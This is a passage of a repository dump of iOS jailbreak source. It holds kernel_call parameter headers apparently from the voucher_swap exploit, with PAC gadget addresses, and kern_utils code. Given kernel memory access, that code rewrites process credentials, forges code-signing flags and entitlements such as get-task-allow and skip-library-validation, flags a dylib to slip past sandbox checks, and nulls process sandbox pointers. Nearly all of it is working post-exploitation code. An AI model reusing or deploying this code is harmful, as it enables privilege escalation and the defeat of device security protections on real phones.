0x0ad9, 219 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b, 220 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2, 221 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de, 222 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4, 223 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700, 224 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428, 225 | 0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584, 226 | 0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201, 227 | 0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7, 228 | 0xb1db, 0x7d35, 0xb06d, 0xcf08); 229 | } 230 | 231 | // A list of PAC initializations by platform. 232 | static struct initialization pac_codes[] = { 233 | { "iPhone11,*", "*", pac__iphone11_8__16C50 }, 234 | }; 235 | 236 | //#endif // __arm64e__ 237 | 238 | // ---- Public API -------------------------------------------------------------------------------- 239 | 240 | bool 241 | kernel_call_parameters_init() { 242 | bool ok = kernel_slide_init(); 243 | if (!ok) { 244 | return false; 245 | } 246 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets)); 247 | if (count < 1) { 248 | ERROR("no kernel_call %s for %s %s", "offsets", 249 | platform.machine, platform.osversion); 250 | return false; 251 | } 252 | count = run_initializations(addresses, ARRAY_COUNT(addresses)); 253 | if (count < 1) { 254 | ERROR("no kernel_call %s for %s %s", "addresses", 255 | platform.machine, platform.osversion); 256 | return false; 257 | } 258 | //#if __arm64e__ 259 | count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes)); 260 | if (count < 1) { 261 | ERROR("no kernel_call %s for %s %s", "PAC codes", 262 | platform.machine, platform.osversion); 263 | return false; 264 | } 265 | //#endif // __arm64e__ 266 | return true; 267 | } 268 | -------------------------------------------------------------------------------- /kc_parameters.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/kc_parameters.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include "parameters.h" 13 | 14 | #ifdef KERNEL_CALL_PARAMETERS_EXTERN 15 | #define extern KERNEL_CALL_PARAMETERS_EXTERN 16 | #endif 17 | 18 | // A structure describing the PAC codes used as part of the context for signing and verifying 19 | // virtual method pointers in a vtable. 20 | struct vtable_pac_codes { 21 | size_t count; 22 | const uint16_t *codes; 23 | }; 24 | 25 | // Generate the name for an offset in a virtual method table. 26 | #define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_ 27 | 28 | // Generate the name for a list of vtable PAC codes. 29 | #define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_ 30 | 31 | // A helper macro for INIT_VTABLE_PAC_CODES(). 32 | #define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_ 33 | 34 | // Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory, 35 | // we place it in a static variable. Consequently, this macro will produce name conflicts if used 36 | // outside a function. 37 | #define INIT_VTABLE_PAC_CODES(class_, ...) \ 38 | static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \ 39 | VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \ 40 | .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \ 41 | .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \ 42 | } 43 | 44 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start); 45 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop); 46 | extern uint64_t ADDRESS(l2tp_domain_inited); 47 | extern uint64_t ADDRESS(sysctl__net_ppp_l2tp); 48 | extern uint64_t ADDRESS(sysctl_unregister_oid); 49 | extern uint64_t ADDRESS(mov_x0_x4__br_x5); 50 | extern uint64_t ADDRESS(mov_x9_x0__br_x1); 51 | extern uint64_t ADDRESS(mov_x10_x3__br_x6); 52 | extern uint64_t ADDRESS(kernel_forge_pacia_gadget); 53 | extern uint64_t ADDRESS(kernel_forge_pacda_gadget); 54 | extern uint64_t ADDRESS(IOUserClient__vtable); 55 | extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID); 56 | 57 | extern size_t SIZE(kernel_forge_pacxa_gadget_buffer); 58 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); 59 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); 60 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); 61 | 62 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient); 63 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM); 64 | 65 | // Parameters for IOAudio2DeviceUserClient. 66 | extern size_t OFFSET(IOAudio2DeviceUserClient, traps); 67 | 68 | // Parameters for IOExternalTrap. 69 | extern size_t SIZE(IOExternalTrap); 70 | extern size_t OFFSET(IOExternalTrap, object); 71 | extern size_t OFFSET(IOExternalTrap, function); 72 | extern size_t OFFSET(IOExternalTrap, offset); 73 | 74 | // Parameters for IORegistryEntry. 75 | extern size_t OFFSET(IORegistryEntry, reserved); 76 | extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); 77 | 78 | // Parameters for IOUserClient. 79 | extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex); 80 | extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex); 81 | 82 | /* 83 | * kernel_call_parameters_init 84 | * 85 | * Description: 86 | * Initialize the addresses used in the kernel_call subsystem. 87 | */ 88 | bool kernel_call_parameters_init(void); 89 | 90 | #undef extern 91 | 92 | #endif 93 | -------------------------------------------------------------------------------- /kern_utils.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | #import 6 | 7 | kern_return_t mach_vm_read( 8 | vm_map_t target_task, 9 | mach_vm_address_t address, 10 | mach_vm_size_t size, 11 | vm_offset_t *data, 12 | mach_msg_type_number_t *dataCnt); 13 | 14 | /****** IOKit/IOKitLib.h *****/ 15 | typedef mach_port_t io_service_t; 16 | typedef mach_port_t io_connect_t; 17 | 18 | extern const mach_port_t kIOMasterPortDefault; 19 | #define IO_OBJECT_NULL (0) 20 | 21 | kern_return_t 22 | IOConnectCallAsyncMethod( 23 | mach_port_t connection, 24 | uint32_t selector, 25 | mach_port_t wakePort, 26 | uint64_t* reference, 27 | uint32_t referenceCnt, 28 | const uint64_t* input, 29 | uint32_t inputCnt, 30 | const void* inputStruct, 31 | size_t inputStructCnt, 32 | uint64_t* output, 33 | uint32_t* outputCnt, 34 | void* outputStruct, 35 | size_t* outputStructCntP); 36 | 37 | kern_return_t 38 | IOConnectCallMethod( 39 | mach_port_t connection, 40 | uint32_t selector, 41 | const uint64_t* input, 42 | uint32_t inputCnt, 43 | const void* inputStruct, 44 | size_t inputStructCnt, 45 | uint64_t* output, 46 | uint32_t* outputCnt, 47 | void* outputStruct, 48 | size_t* outputStructCntP); 49 | 50 | io_service_t 51 | IOServiceGetMatchingService( 52 | mach_port_t _masterPort, 53 | CFDictionaryRef matching); 54 | 55 | CFMutableDictionaryRef 56 | IOServiceMatching( 57 | const char* name); 58 | 59 | kern_return_t 60 | IOServiceOpen( 61 | io_service_t service, 62 | task_port_t owningTask, 63 | uint32_t type, 64 | io_connect_t* connect ); 65 | 66 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 67 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 68 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 69 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 70 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); 71 | 72 | uint64_t find_port(mach_port_name_t port); 73 | 74 | void fixupsetuid(int pid); 75 | int fixupdylib(char *dylib); 76 | int fixupexec(char *exec); 77 | int setcsflagsandplatformize(int pd); 78 | int unsandbox(int pd); 79 | 80 | extern mach_port_t tfpzero; 81 | extern uint64_t kernel_base; 82 | extern uint64_t kernel_slide; 83 | 84 | #ifndef JAILBREAKDDEBUG 85 | #define NSLog(str, ...) 86 | #define printf(str, ...) 87 | #endif 88 | -------------------------------------------------------------------------------- /kern_utils.m: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import "kern_utils.h" 5 | #import "kmem.h" 6 | #import "patchfinder64.h" 7 | #import "kexecute.h" 8 | #import "kernel_call.h" 9 | #import "offsetof.h" 10 | #import "osobject.h" 11 | #import "sandbox.h" 12 | #import "offsets.h" 13 | #import "cs_blob.h" 14 | 15 | #define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN) 16 | int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize); 17 | 18 | uint64_t proc_find(int pd, int tries) { 19 | // TODO use kcall(proc_find) + ZM_FIX_ADDR 20 | while (tries-- > 0) { 21 | uint64_t proc = rk64(find_allproc()); 22 | while (proc) { 23 | uint32_t pid = rk32(proc + offsetof_p_pid); 24 | if (pid == pd) { 25 | return proc; 26 | } 27 | proc = rk64(proc); 28 | } 29 | } 30 | return 0; 31 | } 32 | 33 | CACHED_FIND(uint64_t, our_task_addr) { 34 | uint64_t our_proc = proc_find(getpid(), 1); 35 | 36 | if (our_proc == 0) { 37 | printf("failed to find our_task_addr!\n"); 38 | exit(EXIT_FAILURE); 39 | } 40 | 41 | uint64_t addr = rk64(our_proc + offsetof_task); 42 | printf("our_task_addr: 0x%llx\n", addr); 43 | return addr; 44 | } 45 | 46 | uint64_t find_port(mach_port_name_t port){ 47 | uint64_t task_addr = our_task_addr(); 48 | 49 | uint64_t itk_space = rk64(task_addr + offsetof_itk_space); 50 | 51 | uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table); 52 | 53 | uint32_t port_index = port >> 8; 54 | const int sizeof_ipc_entry_t = 0x18; 55 | 56 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); 57 | return port_addr; 58 | } 59 | 60 | void fixupsetuid(int pid){ 61 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; 62 | bzero(pathbuf, sizeof(pathbuf)); 63 | 64 | int ret = proc_pidpath(pid, pathbuf, sizeof(pathbuf)); 65 | if (ret < 0){ 66 | NSLog(@"Unable to get path for PID %d", pid); 67 | return; 68 | } 69 | struct stat file_st; 70 | if (lstat(pathbuf, &file_st) == -1){ 71 | NSLog(@"Unable to get stat for file %s", pathbuf); 72 | return; 73 | } 74 | if (file_st.st_mode & S_ISUID){ 75 | uid_t fileUID = file_st.st_uid; 76 | NSLog(@"Fixing up setuid for file owned by %u", fileUID); 77 | 78 | uint64_t proc = proc_find(pid, 3); 79 | if (proc != 0) { 80 | uint64_t ucred = rk64(proc + offsetof_p_ucred); 81 | 82 | uid_t cr_svuid = rk32(ucred + offsetof_ucred_cr_svuid); 83 | NSLog(@"Original sv_uid: %u", cr_svuid); 84 | wk32(ucred + offsetof_ucred_cr_svuid, fileUID); 85 | NSLog(@"New sv_uid: %u", fileUID); 86 | } 87 | } else { 88 | NSLog(@"File %s is not setuid!", pathbuf); 89 | return; 90 | } 91 | } 92 | 93 | extern struct offsets off; 94 | extern uint64_t kernel_slide; 95 | 96 | int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context) { 97 | 98 | size_t len = strlen(path) + 1; 99 | uint64_t ptr = kalloc(8); 100 | uint64_t ptr2 = kalloc(len); 101 | kwrite(ptr2, path, len); 102 | 103 | if (kernel_call_7(off.vnode_lookup + kernel_slide, 4, ptr2, flags, ptr, vfs_context)) { 104 | return -1; 105 | } 106 | 107 | *vnode = rk64(ptr); 108 | kfree(ptr2, len); 109 | kfree(ptr, 8); 110 | return 0; 111 | } 112 | 113 | int vnode_put(uint64_t vnode) { 114 | //if (off.vnode_put) { 115 | return kernel_call_7(off.vnode_put + kernel_slide, 1, vnode); 116 | //} 117 | 118 | /*//uint32_t usecount = rk32(vnode + 0x60); 119 | uint32_t iocount = rk32(vnode + 0x64); 120 | 121 | if (iocount <= 1) return 0; 122 | 123 | //if (iocount > 1) { 124 | iocount--; 125 | wk32(vnode + 0x64, iocount); 126 | //} 127 | 128 | return 0;*/ 129 | } 130 | 131 | uint64_t get_vfs_context() { 132 | return zm_fix_addr(kernel_call_7(off.vfs_context + kernel_slide, 1, 1)); 133 | } 134 | 135 | uint64_t getVnodeAtPath(const char *path) { 136 | uint64_t *vnode_ptr = (uint64_t *)malloc(8); 137 | if (vnode_lookup(path, 0, vnode_ptr, get_vfs_context())) { 138 | NSLog(@"Unable to get vnode from path for %s\n", path); 139 | free(vnode_ptr); 140 | return 0; 141 | } 142 | else { 143 | uint64_t vnode = *vnode_ptr; 144 | free(vnode_ptr); 145 | return vnode; 146 | } 147 | } 148 | 149 | // sandbox doesn't allow mmap() from /var (except app's own container) 150 | // checked by mpo_file_check_mmap() in sandbox kext 151 | // it returns 0 on "allow" or something on "deny" 152 | // patching that is a no no cus KPP/KTRR 153 | // Apple was kind enough to add a shortcut 154 | // if dylib is on dyld_shared_cache all checks are bypassed 155 | // checked by vnode_isdyldsharedcache(), which just checks if VSHARED_DYLD is on dylib's vnode 156 | // So add that flag and we're in 157 | 158 | // vp->v_flags |= VSHARED_DYLD 159 | 160 | int fixupdylib(char *dylib) { 161 | NSLog(@"Fixing up dylib %s", dylib); 162 | 163 | #define VSHARED_DYLD 0x000200 164 | 165 | NSLog(@"Getting vnode"); 166 | uint64_t vnode = getVnodeAtPath(dylib); 167 | 168 | if (!vnode) { 169 | NSLog(@"Failed to get vnode!"); 170 | return -1; 171 | } 172 | 173 | NSLog(@"vnode of %s: 0x%llx", dylib, vnode); 174 | 175 | uint32_t v_flags = rk32(vnode + offsetof_v_flags); 176 | if (v_flags & VSHARED_DYLD) { 177 | vnode_put(vnode); 178 | return 0; 179 | } 180 | 181 | NSLog(@"old v_flags: 0x%x", v_flags); 182 | 183 | wk32(vnode + offsetof_v_flags, v_flags | VSHARED_DYLD); 184 | 185 | v_flags = rk32(vnode + offsetof_v_flags); 186 | NSLog(@"new v_flags: 0x%x", v_flags); 187 | 188 | vnode_put(vnode); 189 | 190 | return !(v_flags & VSHARED_DYLD); 191 | } 192 | 193 | 194 | void set_csflags(uint64_t proc) { 195 | uint32_t csflags = rk32(proc + offsetof_p_csflags); 196 | NSLog(@"Previous CSFlags: 0x%x", csflags); 197 | csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL); 198 | NSLog(@"New CSFlags: 0x%x", csflags); 199 | wk32(proc + offsetof_p_csflags, csflags); 200 | } 201 | 202 | void set_tfplatform(uint64_t proc) { 203 | // task.t_flags & TF_PLATFORM 204 | uint64_t task = rk64(proc + offsetof_task); 205 | uint32_t t_flags = rk32(task + offsetof_t_flags); 206 | 207 | NSLog(@"Old t_flags: 0x%x", t_flags); 208 | 209 | t_flags |= TF_PLATFORM; 210 | wk32(task+offsetof_t_flags, t_flags); 211 | 212 | NSLog(@"New t_flags: 0x%x", t_flags); 213 | 214 | } 215 | 216 | 217 | void set_csblob(uint64_t proc) { 218 | uint64_t textvp = rk64(proc + offsetof_p_textvp); //vnode of executable 219 | off_t textoff = rk64(proc + offsetof_p_textoff); 220 | 221 | 222 | NSLog(@"\t__TEXT at 0x%llx. Offset: 0x%llx", textvp, textoff); 223 | 224 | if (textvp != 0){ 225 | uint32_t vnode_type_tag = rk32(textvp + offsetof_v_type); 226 | uint16_t vnode_type = vnode_type_tag & 0xffff; 227 | uint16_t vnode_tag = (vnode_type_tag >> 16); 228 | 229 | NSLog(@"\tVNode Type: 0x%x. Tag: 0x%x.", vnode_type, vnode_tag); 230 | 231 | 232 | if (vnode_type == 1){ 233 | uint64_t ubcinfo = rk64(textvp + offsetof_v_ubcinfo); 234 | 235 | NSLog(@"\t\tUBCInfo at 0x%llx.\n", ubcinfo); 236 | 237 | 238 | uint64_t csblobs = rk64(ubcinfo + offsetof_ubcinfo_csblobs); 239 | while (csblobs != 0){ 240 | 241 | NSLog(@"\t\t\tCSBlobs at 0x%llx.", csblobs); 242 | 243 | 244 | cpu_type_t csblob_cputype = rk32(csblobs + offsetof_csb_cputype); 245 | unsigned int csblob_flags = rk32(csblobs + offsetof_csb_flags); 246 | off_t csb_base_offset = rk64(csblobs + offsetof_csb_base_offset); 247 | uint64_t csb_entitlements = rk64(csblobs + offsetof_csb_entitlements_offset); 248 | unsigned int csb_signer_type = rk32(csblobs + offsetof_csb_signer_type); 249 | unsigned int csb_platform_binary = rk32(csblobs + offsetof_csb_platform_binary); 250 | unsigned int csb_platform_path = rk32(csblobs + offsetof_csb_platform_path); 251 | 252 | 253 | NSLog(@"\t\t\tCSBlob CPU Type: 0x%x. Flags: 0x%x. Offset: 0x%llx", csblob_cputype, csblob_flags, csb_base_offset); 254 | NSLog(@"\t\t\tCSBlob Signer Type: 0x%x. Platform Binary: %d Path: %d", csb_signer_type, csb_platform_binary, csb_platform_path); 255 | 256 | wk32(csblobs + offsetof_csb_platform_binary, 1); 257 | 258 | csb_platform_binary = rk32(csblobs + offsetof_csb_platform_binary); 259 | 260 | NSLog(@"\t\t\tCSBlob Signer Type: 0x%x. Platform Binary: %d Path: %d", csb_signer_type, csb_platform_binary, csb_platform_path); 261 | 262 | NSLog(@"\t\t\t\tEntitlements at 0x%llx.\n", csb_entitlements); 263 | 264 | csblobs = rk64(csblobs); 265 | } 266 | } 267 | } 268 | } 269 | 270 | const char* abs_path_exceptions[] = { 271 | "/private/var/containers/Bundle/iosbinpack64", 272 | "/private/var/containers/Bundle/tweaksupport", 273 | // XXX there's some weird stuff about linking and special 274 | // handling for /private/var/mobile/* in sandbox 275 | "/private/var/mobile/Library", 276 | "/private/var/mnt", 277 | NULL 278 | }; 279 | 280 | uint64_t get_exception_osarray(void) { 281 | static uint64_t cached = 0; 282 | 283 | if (cached == 0) { 284 | // XXX use abs_path_exceptions 285 | cached = OSUnserializeXML("" 286 | "/private/var/containers/Bundle/iosbinpack64/" 287 | "/private/var/containers/Bundle/tweaksupport/" 288 | "/private/var/mobile/Library/" 289 | "/private/var/mnt/" 290 | ""); 291 | } 292 | 293 | return cached; 294 | } 295 | 296 | static const char *exc_key = "com.apple.security.exception.files.absolute-path.read-only"; 297 | 298 | void set_amfi_entitlements(uint64_t proc) { 299 | // AMFI entitlements 300 | 301 | NSLog(@"%@",@"AMFI:"); 302 | 303 | uint64_t proc_ucred = rk64(proc+0xf8); 304 | uint64_t amfi_entitlements = rk64(rk64(proc_ucred+0x78)+0x8); 305 | 306 | NSLog(@"%@",@"Setting Entitlements..."); 307 | 308 | 309 | OSDictionary_SetItem(amfi_entitlements, "get-task-allow", find_OSBoolean_True()); 310 | OSDictionary_SetItem(amfi_entitlements, "com.apple.private.skip-library-validation", find_OSBoolean_True()); 311 | 312 | /*uint64_t present = OSDictionary_GetItem(amfi_entitlements, exc_key); 313 | 314 | int rv = 0; 315 | 316 | if (present == 0) { 317 | rv = OSDictionary_SetItem(amfi_entitlements, exc_key, get_exception_osarray()); 318 | } else if (present != get_exception_osarray()) { 319 | unsigned int itemCount = OSArray_ItemCount(present); 320 | 321 | NSLog(@"present != 0 (0x%llx)! item count: %d", present, itemCount); 322 | 323 | BOOL foundEntitlements = NO; 324 | 325 | uint64_t itemBuffer = OSArray_ItemBuffer(present); 326 | 327 | for (int i = 0; i < itemCount; i++){ 328 | uint64_t item = rk64(itemBuffer + (i * sizeof(void *))); 329 | NSLog(@"Item %d: 0x%llx", i, item); 330 | char *entitlementString = OSString_CopyString(item); 331 | if (strstr(entitlementString, "tweaksupport") != 0) { 332 | foundEntitlements = YES; 333 | free(entitlementString); 334 | break; 335 | } 336 | free(entitlementString); 337 | } 338 | 339 | if (!foundEntitlements){ 340 | rv = OSArray_Merge(present, get_exception_osarray()); 341 | } else { 342 | rv = 1; 343 | } 344 | } else { 345 | NSLog(@"Not going to merge array with itself :P"); 346 | rv = 1; 347 | } 348 | 349 | if (rv != 1) { 350 | NSLog(@"Setting exc FAILED! amfi_entitlements: 0x%llx present: 0x%llx\n", amfi_entitlements, present); 351 | }*/ 352 | } 353 | 354 | const char *ents = "" 355 | "" 356 | "" 357 | "" 358 | "com.apple.security.exception.files.absolute-path.read-only" // bypass stat() 359 | "" 360 | "/private/var/containers/Bundle/iosbinpack64/" 361 | "/private/var/containers/Bundle/tweaksupport/" 362 | "/private/var/mobile/Library/" 363 | "/private/var/mnt/" 364 | "" 365 | "platform-application" // platform 366 | "" 367 | "get-task-allow" // allow task_for_pid() on that process 368 | "" 369 | "com.apple.private.skip-library-validation" // invalid libs 370 | "" 371 | "" 372 | ""; 373 | 374 | static uint64_t entitlement_blob = 0; 375 | static uint64_t unserialized_blob = 0; 376 | 377 | int fixupexec(char *file) { 378 | 379 | int fd; 380 | if ((fd = open(file, O_RDONLY)) < 0) { 381 | NSLog(@"[-] Failed to open file '%s'\n", file); 382 | return -1; 383 | } 384 | 385 | uint32_t magic; 386 | read(fd, &magic, 4); 387 | if (magic != 0xFEEDFACF && magic != 0xBEBAFECA) { 388 | NSLog(@"[-] File '%s' is not a mach-o\n", file); 389 | close(fd); 390 | return -1; 391 | } 392 | close(fd); 393 | 394 | pid_t pd; 395 | const char* args[] = {file, NULL}; 396 | 397 | posix_spawnattr_t attr; 398 | posix_spawnattr_init(&attr); 399 | posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); 400 | 401 | int rv = posix_spawn(&pd, file, NULL, &attr, (char **)&args, NULL); 402 | 403 | if (!rv) { 404 | kill(pd, SIGKILL); 405 | } 406 | else { 407 | NSLog(@"[-] Can't exec file '%s', err: %d (%s) \n", file, rv, strerror(rv)); 408 | return -1; 409 | } 410 | 411 | uint64_t vnode = getVnodeAtPath(file); 412 | if (!vnode) { 413 | NSLog(@"[-] Failed to get vnode for '%s'\n", file); 414 | return -1; 415 | } 416 | NSLog(@"[*] Found vnode: 0x%llx\n", vnode); 417 | 418 | uint16_t vtype; 419 | kread(vnode + offsetof_v_type, &vtype, sizeof(uint16_t)); 420 | if (vtype != 1) { 421 | NSLog(@"%s", "[-] Vnode does not have correct type\n"); 422 | goto fail; 423 | } 424 | 425 | uint64_t ubc_info = rk64(vnode + offsetof_v_ubcinfo); 426 | if (!ubc_info) { 427 | NSLog(@"%s", "[-] No ubc_info?\n"); 428 | goto fail; 429 | } 430 | NSLog(@"[*] ubc_info: 0x%llx\n", ubc_info); 431 | 432 | uint64_t cs_blobs = rk64(ubc_info + offsetof_ubcinfo_csblobs); 433 | if (!cs_blobs) { 434 | NSLog(@"%s", "[-] No cs_blobs?\n"); 435 | goto fail; 436 | } 437 | NSLog(@"[*] cs_blobs: 0x%llx\n", cs_blobs); 438 | 439 | struct cs_blob csblobs; 440 | kread(cs_blobs, &csblobs, sizeof(struct cs_blob)); 441 | 442 | uint64_t entitlements_blob = (uint64_t)csblobs.csb_entitlements; 443 | NSLog(@"[*] Blob: 0x%llx\n", entitlements_blob); 444 | 445 | if (!entitlements_blob) { 446 | NSLog(@"%s", "[*] Found no entitlements."); 447 | 448 | if (!unserialized_blob) { 449 | NSLog(@"%s", "[*] Generating..."); 450 | unserialized_blob = OSUnserializeXML(ents); 451 | if (!unserialized_blob) { 452 | NSLog(@"%s", "[-] Failed to create dictionary...\n"); 453 | goto fail; 454 | } 455 | } 456 | csblobs.csb_entitlements = (void*)unserialized_blob; 457 | 458 | if (!entitlement_blob) { 459 | NSLog(@"%s", "[*] Creating a raw blob\n"); 460 | 461 | uint32_t size = strlen(ents) + sizeof(CS_GenericBlob); 462 | 463 | CS_GenericBlob *blob = malloc(size); 464 | blob->magic = CSMAGIC_EMBEDDED_ENTITLEMENTS; 465 | blob->length = ntohl(size); 466 | memcpy(blob->data, ents, strlen(ents) + 1); 467 | 468 | entitlement_blob = kalloc(size); 469 | NSLog(@"[*] New blob: 0x%llx\n", entitlement_blob); 470 | kwrite(entitlement_blob, blob, size); 471 | 472 | free(blob); 473 | } 474 | csblobs.csb_entitlements_blob = (CS_GenericBlob*)entitlement_blob; 475 | } 476 | else { 477 | NSLog(@"%s", "[*] Found some entitlements!"); 478 | 479 | if (!OSDictionary_GetItem(entitlements_blob, "platform-application")) OSDictionary_SetItem(entitlements_blob, "platform-application", find_OSBoolean_True()); 480 | if (!OSDictionary_GetItem(entitlements_blob, "com.apple.private.skip-library-validation")) OSDictionary_SetItem(entitlements_blob, "com.apple.private.skip-library-validation", find_OSBoolean_True()); 481 | if (!OSDictionary_GetItem(entitlements_blob, "get-task-allow")) OSDictionary_SetItem(entitlements_blob, "get-task-allow", find_OSBoolean_True()); 482 | 483 | uint64_t present = OSDictionary_GetItem(entitlements_blob, "com.apple.security.exception.files.absolute-path.read-only"); 484 | 485 | if (!present) OSDictionary_SetItem(entitlements_blob, "com.apple.security.exception.files.absolute-path.read-only", get_exception_osarray()); 486 | else if (present != get_exception_osarray()) { 487 | unsigned int itemCount = OSArray_ItemCount(present); 488 | 489 | NSLog(@"present != 0 (0x%llx)! item count: %d", present, itemCount); 490 | 491 | BOOL foundEntitlements = NO; 492 | 493 | uint64_t itemBuffer = OSArray_ItemBuffer(present); 494 | 495 | for (int i = 0; i < itemCount; i++){ 496 | uint64_t item = rk64(itemBuffer + (i * sizeof(void *))); 497 | NSLog(@"Item %d: 0x%llx", i, item); 498 | char *entitlementString = OSString_CopyString(item); 499 | if (strstr(entitlementString, "tweaksupport") != 0) { 500 | foundEntitlements = YES; 501 | free(entitlementString); 502 | break; 503 | } 504 | free(entitlementString); 505 | } 506 | 507 | if (!foundEntitlements){ 508 | rv = OSArray_Merge(present, get_exception_osarray()); 509 | } else { 510 | rv = 1; 511 | } 512 | } else { 513 | NSLog(@"Not going to merge array with itself :P"); 514 | rv = 1; 515 | } 516 | } 517 | 518 | csblobs.csb_flags |= ((CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL)); 519 | csblobs.csb_platform_binary = 1; 520 | csblobs.csb_platform_path = 0; 521 | 522 | printf("[*] Success? Writing the blob!\n"); 523 | 524 | kwrite(cs_blobs, &csblobs, sizeof(struct cs_blob)); 525 | goto exit; 526 | 527 | exit:; 528 | vnode_put(vnode); 529 | return 0; 530 | fail:; 531 | vnode_put(vnode); 532 | return 1; 533 | } 534 | 535 | void set_sandbox_extensions(uint64_t proc) { 536 | uint64_t proc_ucred = rk64(proc + offsetof_p_ucred); 537 | uint64_t sandbox = rk64(rk64(proc_ucred + 0x78) + 0x10); 538 | 539 | char name[40] = {0}; 540 | kread(proc + 0x250, name, 20); 541 | 542 | NSLog(@"proc = 0x%llx & proc_ucred = 0x%llx & sandbox = 0x%llx", proc, proc_ucred, sandbox); 543 | 544 | if (sandbox == 0) { 545 | NSLog(@"no sandbox, skipping"); 546 | return; 547 | } 548 | 549 | if (has_file_extension(sandbox, abs_path_exceptions[0])) { 550 | NSLog(@"already has '%s', skipping", abs_path_exceptions[0]); 551 | return; 552 | } 553 | 554 | uint64_t ext = 0; 555 | const char** path = abs_path_exceptions; 556 | while (*path != NULL) { 557 | ext = extension_create_file(*path, ext); 558 | if (ext == 0) { 559 | NSLog(@"extension_create_file(%s) failed, panic!", *path); 560 | } 561 | ++path; 562 | } 563 | 564 | NSLog(@"last extension_create_file ext: 0x%llx", ext); 565 | 566 | if (ext != 0) { 567 | extension_add(ext, sandbox, exc_key); 568 | } 569 | } 570 | 571 | int setcsflagsandplatformize(int pid){ 572 | fixupdylib("/var/containers/Bundle/tweaksupport/usr/lib/TweakInject.dylib"); 573 | uint64_t proc = proc_find(pid, 3); 574 | if (proc != 0) { 575 | set_csflags(proc); 576 | set_tfplatform(proc); 577 | set_amfi_entitlements(proc); 578 | set_sandbox_extensions(proc); 579 | //set_csblob(proc); 580 | NSLog(@"setcsflagsandplatformize on PID %d", pid); 581 | return 0; 582 | } 583 | NSLog(@"Unable to find PID %d to entitle!", pid); 584 | return 1; 585 | } 586 | 587 | int unsandbox(int pid) { 588 | uint64_t proc = proc_find(pid, 3); 589 | uint64_t proc_ucred = rk64(proc + offsetof_p_ucred); 590 | uint64_t sandbox = rk64(rk64(proc_ucred+0x78) + 8 + 8); 591 | if (sandbox == 0) { 592 | NSLog(@"Already unsandboxed"); 593 | return 0; 594 | } else { 595 | NSLog(@"Unsandboxing pid %d", pid); 596 | wk64(rk64(proc_ucred+0x78) + 8 + 8, 0); 597 | sandbox = rk64(rk64(proc_ucred+0x78) + 8 + 8); 598 | if (sandbox == 0) return 0; 599 | } 600 | return -1; 601 | } 602 | 603 | -------------------------------------------------------------------------------- /kernel_call.c: 